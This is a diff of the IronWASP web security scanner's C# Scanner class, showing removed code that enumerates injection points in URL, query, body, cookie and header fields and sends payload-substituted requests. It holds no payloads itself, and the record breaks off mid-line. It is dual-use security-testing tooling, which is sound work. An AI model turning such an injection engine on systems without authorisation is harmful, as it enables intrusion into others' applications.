@@ -1,1964 +1,2075 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Threading; -using System.Collections.Generic; -using System.Text; -using System.Xml; - -namespace IronWASP -{ - public class Scanner - { - internal static Scanner CurrentScanner; - internal static int CurrentScanID; - internal static Queue ScanQueue = new Queue(); - - internal static int CurrentScannerBodyFormatTabIndex = 0; - - internal static int MaxParallelScanCount = 3; - - static Queue CompletedScanIDs = new Queue(); - static Queue AbortedScanIDs = new Queue(); - - internal static Dictionary ScanThreads = new Dictionary(); - - static List ActiveScanIDs = new List(); - - internal static bool NewScansAllowed = true; - internal const string DefaultStartMarker = "<<+++>>"; - internal const string DefaultEndMarker = "<<--->>"; - - internal static List DefaultEncodingRuleList = new List() { new string[] { ">", "%3e" }, new string[] { "<", "%3c" }, new string[] { "\"", "%22" }, new string[] { "%", "%25" }, - new string[] { ">", ">" }, new string[] { "<", "<" } , new string[] { "&", "&" }}; - - internal static List UserSpecifiedEncodingRuleList = new List(); - - private int scanID=0; - internal Request OriginalRequest; - internal Response OriginalResponse; - internal Request CurrentRequest; - - Findings PRs = new Findings(); - Dictionary Plugins = new Dictionary(); - - internal List URLInjections = new List(); - internal InjectionParameters QueryInjections = new InjectionParameters(); - internal InjectionParameters BodyInjections = new InjectionParameters(); - internal List BodyXmlInjections = new List(); - internal Parameters BodyXmlInjectionParameters = new Parameters(); - internal List BodyCustomInjectionParts = new List(); - internal InjectionParameters CookieInjections = new InjectionParameters(); - internal InjectionParameters HeadersInjections = new InjectionParameters(); - internal InjectionParameters ParameterNameInjections = new InjectionParameters(); - - int CurrentInjectionPointIndex = 0; - - internal string ActivePluginName = ""; - - public SessionPlugin SessionHandler = new SessionPlugin(); - FormatPlugin bodyFormat = new FormatPlugin(); - - //used only for updating the UI when pulling scanner from DB - internal string Status = "Not Started"; - //internal List InjectionPoints = new List(); - //end - - //to check user editing in the scan configure window - internal static bool RequestHeadersChanged = false; - internal static bool RequestBodyChanged = false; - - Request TestRequest; - Response TestResponse; - - string CurrentSection = ""; - int CurrentURLPartPosition = 0; - int CurrentBodyXmlPosition = 0; - int CurrentCustomInjectionPosition = 0; - string CurrentParameterName = ""; - string CurrentParameterValue = ""; - int CurrentSubParameterPosition = 0; - - internal string[,] XmlInjectionArray = new string[0,0]; - internal string InjectionArrayXML = ""; - string XmlInjectionSignature = ""; - - internal string CustomInjectionPointStartMarker = ""; - internal string CustomInjectionPointEndMarker = ""; - internal List CharacterEscapingRules = new List(); - - internal static Thread RequestFormatThread; - - StringBuilder TraceMsg = new StringBuilder(); - XmlWriter TraceMsgXml; - string RequestTraceMsg = ""; - int CurrentTraceRequestLogId = 0; - string TraceTitle = ""; - int TraceTitleWeight = 0; - string CurrentPlugin = ""; - List TraceOverviewEntries = new List(); - - bool StartedFromASTab = false; - - protected string LogSource = RequestSource.Scan; - - public string InjectedSection - { - get - { - return this.CurrentSection; - } - } - public string InjectedParameter - { - get - { - return this.CurrentParameterName; - } - } - - public string PreInjectionParameterValue - { - get - { - //if (CurrentSection.Equals("URL")) - // return this.OriginalRequest.UrlPathParts[CurrentURLPartPosition]; - //else if (CurrentSection.Equals("Body") && BodyFormat.Name.Length > 0) - // return XmlInjectionArray[CurrentBodyXmlPosition, 1]; - //else - return CurrentParameterValue; - } - } - - public int InjectedUrlPathPosition - { - get - { - return CurrentURLPartPosition; - } - } - - public Request InjectedRequest - { - get - { - return this.TestRequest; - } - - } - public Response InjectionResponse - { - get - { - return this.TestResponse; - } - } - - public Parameters BodyXmlParameters - { - get - { - return this.BodyXmlInjectionParameters; - } - - } - - public Request BaseRequest - { - get - { - return this.OriginalRequest.GetClone(); - } - } - - public Response BaseResponse - { - get - { - return this.OriginalResponse.GetClone(); - } - } - - public FormatPlugin BodyFormat - { - get - { - return this.bodyFormat; - } - set - { - this.bodyFormat = value; - this.BodyXmlInjections = new List(); - - this.BodyXmlInjectionParameters = new Parameters(); - XmlInjectionArray = new string[,]{}; - if (value.Name.Length > 0) - { - XmlInjectionSignature = Tools.MD5("Name:" + value.Name + "|Body" + this.OriginalRequest.BodyString); - } - else - { - XmlInjectionSignature = ""; - } - } - } - - internal int ScanID - { - get - { - return this.scanID; - } - set - { - this.scanID = value; - this.OriginalRequest.ScanID = this.scanID; - } - } - - public int ID - { - get - { - return this.scanID; - } - } - - public int Id - { - get - { - return this.ID; - } - } - - public int InjectionPointsCount - { - get - { - if(this.CustomInjectionPointStartMarker.Length > 0 && this.CustomInjectionPointEndMarker.Length > 0) - return ParameterNameInjections.Count + URLInjections.Count + QueryInjections.Count + CookieInjections.Count + HeadersInjections.Count + GetCustomInjectionPointsCount(); - else - return ParameterNameInjections.Count + URLInjections.Count + QueryInjections.Count + BodyInjections.Count + CookieInjections.Count + HeadersInjections.Count + BodyXmlInjectionParameters.Count; - } - } - - public Scanner(Request Request) - { - this.OriginalRequest = Request.GetClone(); - } - - public int LaunchScan() - { - if (!NewScansAllowed) return -1; - this.ScanID = Interlocked.Increment(ref Config.ScanCount); - this.StartedFromASTab = true; - IronDB.CreateScan(ScanID, this.OriginalRequest); - IronDB.UpdateScan(ScanID, OriginalRequest, "Queued", this.GetInjectionString(), this.BodyFormat.Name, this.GetScanPluginsString(), this.SessionHandler.Name); - IronUI.CreateScan(this.ScanID, "Queued", this.OriginalRequest.Method, this.OriginalRequest.FullUrl); - lock (Scanner.ScanQueue) - { - Scanner.ScanQueue.Enqueue(this); - } - this.DequeueAndStartScan(); - return this.ScanID; - } - - internal void StartScan() - { - this.StartScan(Scanner.CurrentScanID); - } - - internal void StartScan(int ScanID) - { - if (!NewScansAllowed) return; - this.ScanID = ScanID; - this.StartedFromASTab = true; - IronDB.UpdateScan(this.ScanID, this.OriginalRequest, "Queued", this.GetInjectionString(), this.BodyFormat.Name, this.GetScanPluginsString(), this.SessionHandler.Name); - IronUI.UpdateScanQueueStatus(this.ScanID, "Queued"); - - lock (Scanner.ScanQueue) - { - Scanner.ScanQueue.Enqueue(this); - } - - this.DequeueAndStartScan(); - } - - void DequeueAndStartScan() - { - if (this.StartedFromASTab) RemoveActiveScanID(this.ScanID); - if (!NewScansAllowed) return; - lock (Scanner.ScanQueue) - { - while (Scanner.ScanQueue.Count > 0 && Config.ActiveScansCount < MaxParallelScanCount) - { - try - { - Scanner FromQueue = Scanner.ScanQueue.Dequeue(); - IronUI.UpdateScanQueueStatus(FromQueue.ScanID, "Running"); - IronDB.UpdateScanStatus(FromQueue.ScanID, "Running"); - ThreadStart TS = new ThreadStart(FromQueue.Scan); - Thread ScannerThread = new Thread(TS); - lock (ScanThreads) - { - if (ScanThreads.ContainsKey(FromQueue.ScanID)) - { - if (ScanThreads[FromQueue.ScanID] != null) - { - try { ScanThreads[FromQueue.ScanID].Abort(); } - catch { } - } - ScanThreads.Remove(FromQueue.ScanID); - } - ScanThreads.Add(FromQueue.ScanID, ScannerThread); - } - ScannerThread.Start(); - Interlocked.Increment(ref Config.ActiveScansCount); - } - catch (Exception Exp) - { - IronException.Report("Error Starting a Queued Scan", Exp.Message, Exp.StackTrace); - } - } - } - } - - void PrepareScanner() - { - this.OriginalRequest.SessionHandler = this.SessionHandler; - //this.OriginalResponse = this.OriginalRequest.Send();//this is just a temp value since calling inject from GetBaseLine would require a response object - this.OriginalResponse = null; - //this.TestResponse = this.OriginalResponse; - this.TestResponse = null; - this.CurrentRequest = this.OriginalRequest; - this.OriginalResponse = SessionHandler.GetBaseLine(this, null); - this.CurrentRequest = this.OriginalRequest; - this.TestResponse = this.OriginalResponse; - } - - public void Scan() - { - try - { - if (this.StartedFromASTab) AddActiveScanID(this.ScanID); - - this.PrepareScanner(); - - foreach (string AP in this.Plugins.Keys) - { - this.CurrentPlugin = AP; - - this.Reset(); - while (this.HasMore()) - { - this.Next(); - this.CheckWithActivePlugin(AP); - } - } - - if (this.StartedFromASTab) - { - Interlocked.Decrement(ref Config.ActiveScansCount); - IronUI.UpdateScanQueueStatus(this.ScanID, "Completed"); - IronDB.UpdateScanStatus(this.ScanID, "Completed"); - try - { - lock (CompletedScanIDs) - { - CompletedScanIDs.Enqueue(this.ScanID); - } - } - catch { } - this.DequeueAndStartScan(); - } - } - catch (ThreadAbortException ThExp) - { - HandleScannerException(false, ThExp); - } - catch (Exception Exp) - { - HandleScannerException(true, Exp); - } - } - - public bool HasMore() - { - if (CurrentInjectionPointIndex < this.InjectionPointsCount) - return true; - else - return false; - } - - public void Reset() - { - this.CurrentInjectionPointIndex = 0; - } - - public void Next() - { - if (this.CurrentRequest == null) this.PrepareScanner(); - - CurrentInjectionPointIndex++; - - int LocalPointCounter = 0; - - this.CurrentSection = "URL"; - foreach (int URLPartPosition in this.URLInjections) - { - LocalPointCounter++; - - if (LocalPointCounter == CurrentInjectionPointIndex) - { - this.CurrentURLPartPosition = URLPartPosition; - this.CurrentParameterName = ""; - this.CurrentSubParameterPosition = 0; - this.CurrentParameterValue = this.CurrentRequest.UrlPathParts[URLPartPosition]; - return; - } - } - - this.CurrentSection = "Query"; - foreach (string ParameterName in this.QueryInjections.GetAll()) - { - this.CurrentParameterName = ParameterName; - foreach (int SubParameterPosition in this.QueryInjections.GetAll(ParameterName)) - { - LocalPointCounter++; - - if (LocalPointCounter == CurrentInjectionPointIndex) - { - this.CurrentSubParameterPosition = SubParameterPosition; - this.CurrentParameterValue = this.CurrentRequest.Query.GetAll(ParameterName)[SubParameterPosition]; - return; - } - } - } - this.CurrentSection = "Body"; - if (BodyFormat.Name.Length > 0) - { - if (this.BodyXmlInjections.Count != XmlInjectionArray.GetLength(0) || !XmlInjectionSignature.Equals(Tools.MD5("Name:" + BodyFormat.Name + "|Body:" + this.OriginalRequest.BodyString))) - { - string Xml = BodyFormat.ToXmlFromRequest(this.OriginalRequest); - XmlInjectionArray = FormatPlugin.XmlToArray(Xml); - XmlInjectionSignature = Tools.MD5("Name:" + BodyFormat.Name + "|Body:" + this.OriginalRequest.BodyString); - } - foreach (int BodyXmlPosition in this.BodyXmlInjections) - { - LocalPointCounter++; - - if (LocalPointCounter == CurrentInjectionPointIndex) - { - this.CurrentBodyXmlPosition = BodyXmlPosition; - if (XmlInjectionArray.GetLength(0) > BodyXmlPosition) - { - this.CurrentParameterName = XmlInjectionArray[BodyXmlPosition, 0]; - this.CurrentParameterValue = XmlInjectionArray[BodyXmlPosition, 1]; - } - else - { - this.CurrentParameterName = ""; - this.CurrentParameterValue = ""; - } - this.CurrentSubParameterPosition = 0; - return; - } - } - } - else if (CustomInjectionPointStartMarker.Length > 0 && CustomInjectionPointEndMarker.Length > 0) - { - this.CurrentParameterName = ""; - this.CurrentParameterValue = ""; - this.CurrentSubParameterPosition = 0; - - for (int i = 0; i < this.GetCustomInjectionPointsCount(); i++) - { - LocalPointCounter++; - - if (LocalPointCounter == CurrentInjectionPointIndex) - { - this.CurrentCustomInjectionPosition = i; - this.CurrentParameterName = String.Format("Custom Injection Point no. {0}", i + 1); - this.CurrentParameterValue = GetValueAtCustomInjectionPoint(i); - return; - } - } - } - else - { - foreach (string ParameterName in this.BodyInjections.GetAll()) - { - this.CurrentParameterName = ParameterName; - foreach (int SubParameterPosition in this.BodyInjections.GetAll(ParameterName)) - { - LocalPointCounter++; - - if (LocalPointCounter == CurrentInjectionPointIndex) - { - this.CurrentSubParameterPosition = SubParameterPosition; - this.CurrentParameterValue = this.CurrentRequest.Body.GetAll(ParameterName)[SubParameterPosition]; - return; - } - } - } - } - - this.CurrentSection = "Cookie"; - foreach (string ParameterName in this.CookieInjections.GetAll()) - { - this.CurrentParameterName = ParameterName; - foreach (int SubParameterPosition in this.CookieInjections.GetAll(ParameterName)) - { - LocalPointCounter++; - - if (LocalPointCounter == CurrentInjectionPointIndex) - { - this.CurrentSubParameterPosition = SubParameterPosition; - this.CurrentParameterValue = this.CurrentRequest.Cookie.GetAll(ParameterName)[SubParameterPosition]; - return; - } - } - } - - this.CurrentSection = "Headers"; - foreach (string ParameterName in this.HeadersInjections.GetAll()) - { - this.CurrentParameterName = ParameterName; - foreach (int SubParameterPosition in this.HeadersInjections.GetAll(ParameterName)) - { - LocalPointCounter++; - - if (LocalPointCounter == CurrentInjectionPointIndex) - { - this.CurrentSubParameterPosition = SubParameterPosition; - this.CurrentParameterValue = this.CurrentRequest.Headers.GetAll(ParameterName)[SubParameterPosition]; - return; - } - } - } - - this.CurrentSection = "ParameterNames"; - foreach (string ParameterName in this.ParameterNameInjections.GetAll()) - { - LocalPointCounter++; - - if (LocalPointCounter == CurrentInjectionPointIndex) - { - this.CurrentParameterName = ParameterName; - this.CurrentSubParameterPosition = 0; - this.CurrentParameterValue = ""; - return; - } - } - } - - void HandleScannerException(bool Aborted, Exception Exp) - { - if (this.StartedFromASTab) - { - Interlocked.Decrement(ref Config.ActiveScansCount); - try - { - lock (AbortedScanIDs) - { - AbortedScanIDs.Enqueue(this.ScanID); - } - } - catch { } - try - { - this.DequeueAndStartScan(); - } - catch (Exception Expp) - { - IronException.Report("Unable to Start the next Scan Job", Expp.Message, Expp.StackTrace); - } - if (Aborted) - { - Scanner.UpdateScanStatus(this.scanID, "Aborted"); - string Title = "Scan Aborted due to Error" + " - Scan ID: " + this.scanID.ToString(); - string Message = Exp.Message; - IronException.Report(Title, Exp.Message, Exp.StackTrace); - } - else - { - Scanner.UpdateScanStatus(this.scanID, "Stopped"); - } - } - else - { - throw Exp; - } - } - - internal static void UpdateScanStatus(int ScanID, string Status) - { - IronUI.UpdateScanQueueStatus(ScanID, Status); - IronDB.UpdateScanStatus(ScanID, Status); - } - - #region InjectAndScanInShell - public void ScanAll() - { - this.ResetInjectionParameters(); - this.InjectAll(); - this.Scan(); - } - public void InjectAll() - { - this.InjectURL(); - this.InjectQuery(); - this.InjectBody(); - this.InjectCookie(); - this.InjectHeaders(); - } - public void ScanUrl() { this.ScanURL(); } - public void ScanURL() - { - this.ResetInjectionParameters(); - this.InjectURL(); - this.Scan(); - } - public void InjectUrl() { this.InjectURL(); } - public void InjectURL() - { - List URLParts = OriginalRequest.UrlPathParts; - for (int i = 0; i < URLParts.Count; i++) - { - this.InjectURL(i); - } - } - public void ScanQuery() - { - this.ResetInjectionParameters(); - this.InjectQuery(); - this.Scan(); - } - public void InjectQuery() - { - foreach (string Name in OriginalRequest.Query.GetNames()) - { - this.InjectQuery(Name); - } - } - public void ScanBody() - { - this.ResetInjectionParameters(); - this.InjectBody(); - this.Scan(); - } - public void InjectBody() - { - if (BodyFormat.Name.Length == 0) - { - foreach (string Name in OriginalRequest.Body.GetNames()) - { - this.InjectBody(Name); - } - } - else - { - if (this.BodyXmlInjectionParameters.Count == 0) - { - string Xml = BodyFormat.ToXmlFromRequest(this.OriginalRequest); - XmlInjectionArray = FormatPlugin.XmlToArray(Xml); - XmlInjectionSignature = Tools.MD5("Name:" + BodyFormat.Name + "|Body" + this.OriginalRequest.BodyString); - for (int i = 0; i < XmlInjectionArray.GetLength(0); i++) - { - this.BodyXmlInjectionParameters.Add(XmlInjectionArray[i, 0], XmlInjectionArray[i, 1]); - } - } - for (int i = 0; i < this.BodyXmlInjectionParameters.Count; i++) - { - this.InjectBody(i); - } - } - } - public void ScanCookie() - { - this.ResetInjectionParameters(); - this.InjectCookie(); - this.Scan(); - } - public void InjectCookie() - { - foreach (string Name in OriginalRequest.Cookie.GetNames()) - { - this.InjectCookie(Name); - } - } - public void ScanHeaders() - { - this.ResetInjectionParameters(); - this.InjectHeaders(); - this.Scan(); - } - public void InjectHeaders() - { - foreach (string Name in OriginalRequest.Headers.GetNames()) - { - this.InjectHeaders(Name); - } - } - public void ScanQuery(string ParameterName) - { - this.ResetInjectionParameters(); - this.InjectQuery(ParameterName); - this.Scan(); - } - public void InjectQuery(string ParameterName) - { - for (int i = 0; i < OriginalRequest.Query.GetAll(ParameterName).Count; i++) - { - this.InjectQuery(ParameterName,i); - } - } - public void ScanBody(string ParameterName) - { - this.ResetInjectionParameters(); - this.InjectBody(ParameterName); - this.Scan(); - } - public void ScanBody(int XmlInjectionPoint) - { - this.ResetInjectionParameters(); - this.InjectBody(XmlInjectionPoint); - this.Scan(); - } - public void InjectBody(string ParameterName) - { - for (int i = 0; i < OriginalRequest.Body.GetAll(ParameterName).Count; i++) - { - this.InjectBody(ParameterName, i); - } - } - public void InjectBody(int XmlInjectionPoint) - { - if (this.BodyFormat.Name.Length == 0) - { - throw new Exception("Format Plugin Not Selected"); - } - if (this.BodyXmlInjectionParameters.Count == 0) - { - DeserializeRequestBodyWithFormatPlugin(); - //string Xml = BodyFormat.ToXmlFromRequest(this.OriginalRequest); - //InjectionArrayXML = Xml; - //XmlInjectionArray = FormatPlugin.XmlToArray(Xml); - //XmlInjectionSignature = Tools.MD5("Name:" + BodyFormat.Name + "|Body" + this.OriginalRequest.BodyString); - //for (int i = 0; i < XmlInjectionArray.GetLength(0); i++) - //{ - // this.BodyXmlInjectionParameters.Add(XmlInjectionArray[i, 0], XmlInjectionArray[i, 1]); - //} - } - //if (this.BodyXmlInjectionParameters.Count == 0 || !XmlInjectionSignature.Equals(Tools.MD5("Name:" + BodyFormat.Name + "|Body" + this.OriginalRequest.BodyString))) - if (BodyXmlInjectionParameters.Count == 0) throw new Exception("No parameters to Inject"); - //if (!XmlInjectionSignature.Equals(Tools.MD5("Name:" + BodyFormat.Name + "|Body:" + this.OriginalRequest.BodyString))) - //{ - // string Xml = BodyFormat.ToXmlFromRequest(this.OriginalRequest); - // XmlInjectionArray = FormatPlugin.XmlToArray(Xml); - // for (int i = 0; i < XmlInjectionArray.GetLength(0); i++) - // { - // this.BodyXmlInjectionParameters.Add(XmlInjectionArray[i, 0], XmlInjectionArray[i, 1]); - // } - //} - if (XmlInjectionPoint >= BodyXmlInjectionParameters.Count) throw new Exception("Injection point is outside the list of available values"); - if (!this.BodyXmlInjections.Contains(XmlInjectionPoint)) this.BodyXmlInjections.Add(XmlInjectionPoint); - this.CustomInjectionPointStartMarker = ""; - this.CustomInjectionPointEndMarker = ""; - this.BodyInjections = new InjectionParameters(); - } - - public void InjectBody(string StartMarker, string EndMarker) - { - if (StartMarker.Length == 0) - { - throw new Exception("Start Marker cannot be empty"); - } - if (EndMarker.Length == 0) - { - throw new Exception("End Marker cannot be empty"); - } - if (StartMarker.Equals(EndMarker)) - { - throw new Exception("Start Marker and End Marker cannot be the same"); - } - this.CustomInjectionPointStartMarker = StartMarker; - this.CustomInjectionPointEndMarker = EndMarker; - this.BodyFormat = new FormatPlugin(); - this.BodyXmlInjectionParameters = new Parameters(); - this.BodyXmlInjections = new List(); - this.BodyInjections = new InjectionParameters(); - } - public void AddEscapeRule(string RawCharacter, string EncodedCharacter) - { - for (int i=0; i < this.CharacterEscapingRules.Count; i++) - { - if (this.CharacterEscapingRules[i][0].Equals(RawCharacter)) - { - this.CharacterEscapingRules[i][1] = EncodedCharacter; - return; - } - } - this.CharacterEscapingRules.Add(new string[]{RawCharacter, EncodedCharacter}); - } - public void ScanCookie(string ParameterName) - { - this.ResetInjectionParameters(); - this.InjectCookie(ParameterName); - this.Scan(); - } - public void InjectCookie(string ParameterName) - { - for (int i = 0; i < OriginalRequest.Cookie.GetAll(ParameterName).Count; i++) - { - this.InjectCookie(ParameterName, i); - } - } - public void ScanHeaders(string ParameterName) - { - this.ResetInjectionParameters(); - this.InjectHeaders(ParameterName); - this.Scan(); - } - public void InjectHeaders(string ParameterName) - { - for (int i = 0; i < OriginalRequest.Headers.GetAll(ParameterName).Count; i++) - { - this.InjectHeaders(ParameterName, i); - } - } - - public void ScanUrl(int i) { this.ScanURL(); } - public void ScanURL(int i) - { - this.ResetInjectionParameters(); - this.InjectURL(i); - this.Scan(); - } - public void InjectUrl(int i) { this.InjectURL(i); } - public void InjectURL(int i) - { - if(!URLInjections.Contains(i)) URLInjections.Add(i); - } - public void ScanQuery(string ParameterName, int SubParameterPosition) - { - this.ResetInjectionParameters(); - this.InjectQuery(ParameterName, SubParameterPosition); - this.Scan(); - } - public void InjectQuery(string ParameterName, int SubParameterPosition) - { - if (this.QueryInjections.Has(ParameterName)) - { - if (!this.QueryInjections.GetAll(ParameterName).Contains(SubParameterPosition)) this.QueryInjections.Add(ParameterName, SubParameterPosition); - } - else - { - this.QueryInjections.Add(ParameterName, SubParameterPosition); - } - } - public void ScanBody(string ParameterName, int SubParameterPosition) - { - this.ResetInjectionParameters(); - this.InjectBody(ParameterName, SubParameterPosition); - this.Scan(); - } - public void InjectBody(string ParameterName, int SubParameterPosition) - { - if (this.BodyInjections.Has(ParameterName)) - { - if (!this.BodyInjections.GetAll(ParameterName).Contains(SubParameterPosition)) this.BodyInjections.Add(ParameterName, SubParameterPosition); - } - else - { - this.BodyInjections.Add(ParameterName, SubParameterPosition); - } - this.CustomInjectionPointStartMarker = ""; - this.CustomInjectionPointEndMarker = ""; - this.BodyFormat = new FormatPlugin(); - this.BodyXmlInjectionParameters = new Parameters(); - this.BodyXmlInjections = new List(); - } - public void ScanCookie(string ParameterName, int SubParameterPosition) - { - this.ResetInjectionParameters(); - this.InjectCookie(ParameterName, SubParameterPosition); - this.Scan(); - } - public void InjectCookie(string ParameterName, int SubParameterPosition) - { - if (this.CookieInjections.Has(ParameterName)) - { - if (!this.CookieInjections.GetAll(ParameterName).Contains(SubParameterPosition)) this.CookieInjections.Add(ParameterName, SubParameterPosition); - } - else - { - this.CookieInjections.Add(ParameterName, SubParameterPosition); - } - } - public void ScanHeaders(string ParameterName, int SubParameterPosition) - { - this.ResetInjectionParameters(); - this.InjectHeaders(ParameterName, SubParameterPosition); - this.Scan(); - } - public void InjectHeaders(string ParameterName, int SubParameterPosition) - { - if (!(ParameterName.Equals("Cookie", StringComparison.InvariantCultureIgnoreCase) || ParameterName.Equals("Host", StringComparison.InvariantCultureIgnoreCase) || ParameterName.Equals("Content-Length", StringComparison.InvariantCultureIgnoreCase))) - { - if (this.HeadersInjections.Has(ParameterName)) - { - if (!this.HeadersInjections.GetAll(ParameterName).Contains(SubParameterPosition)) this.HeadersInjections.Add(ParameterName, SubParameterPosition); - } - else - { - this.HeadersInjections.Add(ParameterName, SubParameterPosition); - } - } - } - public void InjectParameterNames() - { - ParameterNameInjections.Add("Query", 1); - ParameterNameInjections.Add("Body", 1); - ParameterNameInjections.Add("Cookie", 1); - ParameterNameInjections.Add("Headers", 1); - } - public void InjectParameterName(string ParameterSectionName) - { - if ((new List() { "Query", "Body", "Cookie", "Headers" }).Contains(ParameterSectionName)) - { - ParameterNameInjections.Add(ParameterSectionName, 1); - } - else - { - throw new Exception("Only 'Query', 'Body', 'Cookie', 'Headers' are the accepted parameter values"); - } - } - #endregion - - internal void DeserializeRequestBodyWithFormatPlugin() - { - string Xml = BodyFormat.ToXmlFromRequest(this.OriginalRequest); - InjectionArrayXML = Xml; - XmlInjectionArray = FormatPlugin.XmlToArray(Xml); - XmlInjectionSignature = Tools.MD5("Name:" + BodyFormat.Name + "|Body" + this.OriginalRequest.BodyString); - this.BodyXmlInjectionParameters = new Parameters(); - for (int i = 0; i < XmlInjectionArray.GetLength(0); i++) - { - this.BodyXmlInjectionParameters.Add(XmlInjectionArray[i, 0], XmlInjectionArray[i, 1]); - } - } - - public Response RawInject(string Payload) - { - return this.Inject(Payload, 0, false, true, -1); - } - - public Response Inject(string Payload) - { - return this.Inject(Payload, 0, false, false, -1); - } - - public Response Inject(string Payload, int TimeOut) - { - return this.Inject(Payload, 0, false, false, TimeOut); - } - - public Response Inject() - { - return this.Inject("", 0, true, false, -1); - } - - private Response Inject(string RawPayload, int ReDoCount, bool PayloadLessInjection, bool Raw, int TimeOut) - { - //this.CurrentRequest = SessionHandler.Update(this.CurrentRequest, this.TestResponse); - this.CurrentRequest = SessionHandler.DoBeforeSending(this.CurrentRequest, this.TestResponse); - //this.TestRequest = SessionHandler.PrepareForInjection(this.CurrentRequest.GetClone()); - this.TestRequest = this.CurrentRequest.GetClone(); - string Payload = ""; - if (!PayloadLessInjection) Payload = SessionHandler.EncodePayload(this.CurrentSection, this.TestRequest, RawPayload); - List SubValues = new List(); - if (!PayloadLessInjection) - { - if (this.CurrentSection.Equals("URL")) - { - List URLParts = new List(); - if(Raw) - URLParts = this.TestRequest.RawUrlPathParts; - else - URLParts = this.TestRequest.UrlPathParts; - URLParts[this.CurrentURLPartPosition] = Payload; - if(Raw) - this.TestRequest.RawUrlPathParts = URLParts; - else - this.TestRequest.UrlPathParts = URLParts; - } - else if (this.CurrentSection.Equals("Query")) - { - if(Raw) - SubValues = this.TestRequest.Query.RawGetAll(this.CurrentParameterName); - else - SubValues = this.TestRequest.Query.GetAll(this.CurrentParameterName); - SubValues[this.CurrentSubParameterPosition] = Payload; - if(Raw) - this.TestRequest.Query.RawSet(this.CurrentParameterName, SubValues); - else - this.TestRequest.Query.Set(this.CurrentParameterName, SubValues); - } - else if (this.CurrentSection.Equals("Body")) - { - if (BodyFormat.Name.Length > 0) - { - string InjectedBodyXml = FormatPlugin.InjectInXml(BodyFormat.ToXmlFromRequest(this.TestRequest), this.CurrentBodyXmlPosition, Payload); - this.TestRequest = BodyFormat.ToRequestFromXml(this.TestRequest, InjectedBodyXml); - } - else if (this.CustomInjectionPointStartMarker.Length > 0 && this.CustomInjectionPointEndMarker.Length > 0) - { - this.TestRequest.BodyString = InjectAtCustomInjectionPoint(this.CurrentCustomInjectionPosition, Payload); - } - else - { - if (Raw) - SubValues = this.TestRequest.Body.RawGetAll(this.CurrentParameterName); - else - SubValues = this.TestRequest.Body.GetAll(this.CurrentParameterName); - SubValues[this.CurrentSubParameterPosition] = Payload; - if (Raw) - this.TestRequest.Body.RawSet(this.CurrentParameterName, SubValues); - else - this.TestRequest.Body.Set(this.CurrentParameterName, SubValues); - } - } - else if (this.CurrentSection.Equals("Cookie")) - { - if(Raw) - SubValues = this.TestRequest.Cookie.RawGetAll(this.CurrentParameterName); - else - SubValues = this.TestRequest.Cookie.GetAll(this.CurrentParameterName); - SubValues[this.CurrentSubParameterPosition] = Payload; - if(Raw) - this.TestRequest.Cookie.RawSet(this.CurrentParameterName, SubValues); - else - this.TestRequest.Cookie.Set(this.CurrentParameterName, SubValues); - } - else if (this.CurrentSection.Equals("Headers")) - { - if(Raw) - SubValues = this.TestRequest.Headers.RawGetAll(this.CurrentParameterName); - else - SubValues = this.TestRequest.Headers.GetAll(this.CurrentParameterName); - SubValues[this.CurrentSubParameterPosition] = Payload; - if(Raw) - this.TestRequest.Headers.RawSet(this.CurrentParameterName, SubValues); - else - this.TestRequest.Headers.Set(this.CurrentParameterName, SubValues); - } - else if (this.CurrentSection.Equals("ParameterNames")) - { - switch (this.CurrentParameterName) - { - case("Query"): - if (Raw) - this.TestRequest.Query.RawSet(Payload, "0"); - else - this.TestRequest.Query.Set(Payload, "0"); - break; - case ("Body"): - if (Raw) - this.TestRequest.Body.RawSet(Payload, "0"); - else - this.TestRequest.Body.Set(Payload, "0"); - break; - case ("Cookie"): - if (Raw) - this.TestRequest.Cookie.RawSet(Payload, "0"); - else - this.TestRequest.Cookie.Set(Payload, "0"); - break; - case ("Headers"): - if (Raw) - this.TestRequest.Headers.RawSet(Payload, "0"); - else - this.TestRequest.Headers.Set(Payload, "0"); - break; - } - } - } - if (this.CustomInjectionPointStartMarker.Length > 0 && this.CustomInjectionPointEndMarker.Length > 0) - { - this.TestRequest.BodyString = this.TestRequest.BodyString.Replace(this.CustomInjectionPointStartMarker, "").Replace(this.CustomInjectionPointEndMarker, ""); - } - if (this.LogSource != RequestSource.Scan) this.TestRequest.SetSource(this.LogSource);//For Scanner, the logsource is set when ScanId is assigned to the request - if (TimeOut > 0) - { - this.TestResponse = this.TestRequest.Send(TimeOut); - } - else - { - this.TestResponse = this.TestRequest.Send(); - } - if (this.LogSource.Equals(RequestSource.Scan)) - { - this.CurrentTraceRequestLogId = this.TestResponse.ID; - } - //Response InterestingResponse = SessionHandler.GetInterestingResponse(this.TestRequest, this.TestResponse); - Response ResponseFromInjection = SessionHandler.DoAfterSending(this.TestResponse, this.TestRequest); - //if (!DummmyInjection && SessionHandler.ShouldReDo(this, this.TestRequest, ResponseFromInjection)) - //{ - // if (SessionHandler.MaxReDoCount > ReDoCount) - // { - // return Inject(Payload, ReDoCount + 1, false, Raw); - // } - // else - // { - // throw new Exception("Unable to get valid Response for Injection, ReDoCount exceeded maximum value"); - // } - //} - //else - //{ - // return ResponseFromInjection; - //} - if (this.LogSource.Equals(RequestSource.Scan)) - { - if (this.TestResponse.ID == ResponseFromInjection.ID) - { - if (PayloadLessInjection) - { - this.TraceOverviewEntries.Add(new string[] { PreInjectionParameterValue, ResponseFromInjection.ID.ToString(), ResponseFromInjection.Code.ToString(), ResponseFromInjection.BodyLength.ToString(), ResponseFromInjection.ContentType, ResponseFromInjection.RoundTrip.ToString(), Tools.MD5(ResponseFromInjection.ToString()) }); - } - else - { - this.TraceOverviewEntries.Add(new string[] { Payload, ResponseFromInjection.ID.ToString(), ResponseFromInjection.Code.ToString(), ResponseFromInjection.BodyLength.ToString(), ResponseFromInjection.ContentType, ResponseFromInjection.RoundTrip.ToString(), Tools.MD5(ResponseFromInjection.ToString()) }); - } - } - else - { - if (PayloadLessInjection) - { - this.TraceOverviewEntries.Add(new string[] { PreInjectionParameterValue, this.TestResponse.ID.ToString(), this.TestResponse.Code.ToString(), 